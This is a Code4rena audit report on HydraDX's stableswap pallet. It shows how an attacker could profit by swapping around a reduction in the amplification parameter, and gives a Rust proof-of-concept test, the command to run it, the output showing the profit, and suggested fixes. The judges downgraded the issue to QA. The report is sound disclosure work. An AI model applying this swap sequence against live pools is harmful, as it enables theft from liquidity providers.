Lowering amplification allows attackers to steal funds

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L433-L438

Vulnerability details

Impact

Attackers can steal funds by performing two swaps before and after the AMP is reduced. For more information, please see https://medium.com/@peter_4205/curve-vulnerability-report-a1d7630140ec.

Proof of Concept

1. Please add the following test case into HydraDX-node/pallets/stableswap/src/tests/trades.rs.

#[test]
fn test_steal_funds_amp() {

    use crate::Pools;

    let asset_a: AssetId = 1;
    let asset_b: AssetId = 2;

    let initial_amp : u16 = 10_000;
    let amp_to_update: u16 = 10;

    let start_block = 20;
    let end_block = 21;

    ExtBuilder::default()
        .with_endowed_accounts(vec![
            (BOB, 1, 200 * ONE), 
            (ALICE, 1, 200 * ONE), 
            (ALICE, 2, 200 * ONE)]
        )
        .with_registered_asset("one".as_bytes().to_vec(), 1, 12)
        .with_registered_asset("two".as_bytes().to_vec(), 2, 12)
        .with_pool(
            ALICE,
            PoolInfo::<AssetId, u64> {
                assets: vec![asset_a, asset_b].try_into().unwrap(),
                initial_amplification: NonZeroU16::new(initial_amp).unwrap(),
                final_amplification: NonZeroU16::new(initial_amp).unwrap(),
                initial_block: 0,
                final_block: 0,
                fee: Permill::from_percent(0),
            },
            InitialLiquidity {
                account: ALICE,
                assets: vec![
                    AssetAmount::new(asset_a, 200 * ONE),
                    AssetAmount::new(asset_b, 200 * ONE),
                ],
            },
        )
        .build()
        .execute_with(|| {
            let pool_id = get_pool_id_at(0);

            let pool = <Pools<Test>>::get(pool_id).unwrap();
            let amp = Stableswap::get_amplification(&pool);
            assert_eq!(amp, initial_amp as u128);

            assert_ok!(Stableswap::update_amplification(
                RuntimeOrigin::root(),
                pool_id,
                amp_to_update,
                start_block,
                end_block,
            ));

            // advance block
            System::set_block_number(20);

            let pool = <Pools<Test>>::get(pool_id).unwrap();
            let amp = Stableswap::get_amplification(&pool);
            assert_eq!(amp, initial_amp as u128);

            let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
            println!("starting bal asset_a: {:?}", asset_a_bal);

            let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
            println!("starting bal asset_b: {:?}", asset_b_bal);

            let starting_total = asset_a_bal + asset_b_bal;
            println!("starting bal total: {:?}", starting_total);

            // sell assetA 
            assert_ok!(Stableswap::sell(
                RuntimeOrigin::signed(BOB),
                pool_id,
                asset_a,
                asset_b,
                asset_a_bal,
                0, // maximum amount whatever we get
            ));

            let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
            println!("1st swap asset_a: {:?}", asset_a_bal);

            let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
            println!("1st swap asset_b: {:?}", asset_b_bal);

            // advance block which updates amp
            System::set_block_number(21);

            let pool = <Pools<Test>>::get(pool_id).unwrap();
            let amp = Stableswap::get_amplification(&pool);
            assert_eq!(amp, amp_to_update as u128);

            // buy back assetA
            assert_ok!(Stableswap::sell(
                RuntimeOrigin::signed(BOB),
                pool_id,
                asset_b,
                asset_a,
                asset_b_bal,
                0, // maximum amount whatever we get
            ));

            let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
            println!("2nd swap asset_a: {:?}", asset_a_bal);

            let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
            println!("2nd swap asset_b: {:?}", asset_b_bal);

            let ending_total = asset_a_bal + asset_b_bal;
            println!("ending bal total: {:?}", ending_total);

            assert!(ending_total > starting_total, "exploit failed");

            let profit = ending_total - starting_total;
            println!("profit: {:?}", profit);

        });
}

2. Run cargo test --package pallet-stableswap --lib -- tests::trades::test_steal_funds_amp --exact --nocapture.

3. Output

   running 1 test
   starting bal asset_a: 200000000000000
   starting bal asset_b: 0
   starting bal total: 200000000000000
   1st swap asset_a: 0
   1st swap asset_b: 198595751082728
   2nd swap asset_a: 376877581226143
   2nd swap asset_b: 0
   ending bal total: 376877581226143
   profit: 176877581226143

Tools Used

Manual review.

Recommended Mitigation Steps

Consider applying the following recommendations:

1. Ensure the difference between current_amplification and final_amplification is within an allowed range.

Example: https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/a/SwapTemplateA.vy#L979-L982

2. Implement a buffer period before the amplification changes to reflect.

https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/a/SwapTemplateA.vy#L972-L973

Assessed type

Other

[c4-pre-sort]

0xRobocop marked the issue as duplicate of #96

[c4-judge]

OpenCoreCH changed the severity to QA (Quality Assurance)

[c4-judge]

OpenCoreCH marked the issue as grade-a